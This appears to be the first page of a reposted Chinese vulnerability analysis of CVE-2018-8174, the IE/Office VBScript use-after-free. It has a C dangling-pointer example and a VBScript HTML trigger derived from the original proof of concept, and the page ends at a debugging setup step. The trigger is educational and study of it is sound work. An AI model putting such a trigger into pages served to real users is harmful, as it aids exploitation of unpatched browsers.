CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29

一、漏洞背景
CVE-2018-8174漏洞是360追日安全团队于4份捕获到的,并将其命名为“双杀”漏洞,意指在IE浏览器以及office均可以引发的漏洞。
该漏洞在当时影响最新版本的IE浏览器以及使用了IE内核的应用程序。用户在浏览网页或者打开Office文档的时候都可能中招。
微软在4月20号也确认了此漏洞,并在5月8号发布了官方补丁。本文档将对该漏洞进行详细分析理解,并提交复现过程与防御建议,供大家相互交流学习。
所影响版本:
Microsoft Excel 2010 SP2
Microsoft Excel 2013 SP1
Microsoft Excel 2016
Microsoft Office 2010 SP2
Microsoft Office 2013 RT SP1
Microsoft Office 2013 SP1Microsoft Office 2016
Microsoft Office Compatibility SP3…
该漏洞影响比较广泛,可以在该链接查看详细列表: https://www.securityfocus.com/bid/103998
二、 漏洞原理
2.1.UAF的理解
首先了解一个简单的C++层面的悬垂指针:
#include "stdafx.h"
#include int main()
{
    char *p1;
    p1 = (char*)malloc(sizeof(char) * 10);
    memcpy(p1, "hello", 10);
    printf("p1,addr:%x,%s/n", p1, p1);
    free(p1);
    char *p2;
    p2 = (char*)malloc(sizeof(char) * 10);
    memcpy(p2, "hello", 10);
    printf("p2,addr:%x,%s/n", p2, p1);
    printf("p2,addr:%x,%s/n", p2, p2);
    free(p2);
    return 0;
}
//输出:
//p1,addr:99ac88,hello
//p2,addr:99ac88,hello
//p2,addr:99ac88,hello
在指针p1被释放后,却仍然可以执行已经被释放的内存,而且在 free 了 p1 之后再次申请同样大小空间,操作系统会将刚刚 free 了的内存重新分配。
并且可以通过p2操作p1,那么如果再次使用p1,则可以通过p2修改程序功能等目的。p1就叫做 悬垂指针,UAF会造成内存破坏的原因就是使用了悬垂指针。
理解了上面的悬垂指针后再看在vbs中的悬垂指针是怎样的,根据原始 PoC 防写一个造成悬垂指针的脚本来理解一下:
html lang="en">
head>
meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
meta http-equiv="x-ua-compatible" content="IE=10">
head>
body>
script language="vbscript">
Dim array_a
Dim array_b(1)
Class Trigger
'重载析构函数       
Private Sub Class_Terminate()       
   
    Alert "重载析构函数"
    Set array_b(0)=array_a(1)            '增加了一个array_b(0)对Trigger实例的引用(Trigger实例引用计数+1)
   
    '删除array_a (1) 对Trigger实例的引用
    'Trigger实例引用计数-1 来平衡引用计数
    array_a(1)=1
    IsEmpty(array_b)    'IsEmpty 方便断点观察
End Sub
End Class
Sub UAF
    Alert "UAF"
    Alert "重新定义array_a"
    ReDim array_a(1)                   
    Alert "创建Trigger实例给数组array_a"
    Set array_a(1)=New Trigger           
    IsEmpty(array_a)
    Alert "清空array_a中的元素,触发Class_Terminate"
    Erase array_a                       
    IsEmpty("Erase Finish")
End Sub
Sub TriggerVuln
    Alert "访问未分配的内存,触发漏洞 "
    array_b(0)=0
End Sub
Sub StartExploit
        UAF
        TriggerVuln
End Sub
StartExploit
script>
body>
html>
如上:
1,在UAF函数中,Set array_a(1)=New Trigger 是创建了一个 Trigger 实例给数组 array_a, Erase array_a 在析构 array_a中的元素时,会调用 Trigger 的重载的析构函数;
2,在此函数中先增加了一个 array_b(0) 对 Trigger 实例的引用(Trigger实例引用计数+1),又通过 array_a(1)=1 删除 array_a(1) 对 Trigger 实例的引用,(Trigger的实例引用计数减1)来平衡引用计数后,才会彻底释放 Trigger 实例
3,但是此时 array_b(0) 仍然保留着这个类的引用,然后在 TriggerVuln 函数中,array_b(0)=0  对 array_b(0) 进行访问时造成了触发漏洞,此时 array_b(0) 就叫做悬垂指针
2.1.1.调试
在windbg 所在文件夹开启hpa页堆调试 和ust栈回溯选项:
//启用页面堆--开启hpa页堆调试 和ust堆分配记录
//关于此技术原理的可以看一下这个连接: http://www.cnblogs.com/Ox9A82/p/5603172.html

[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页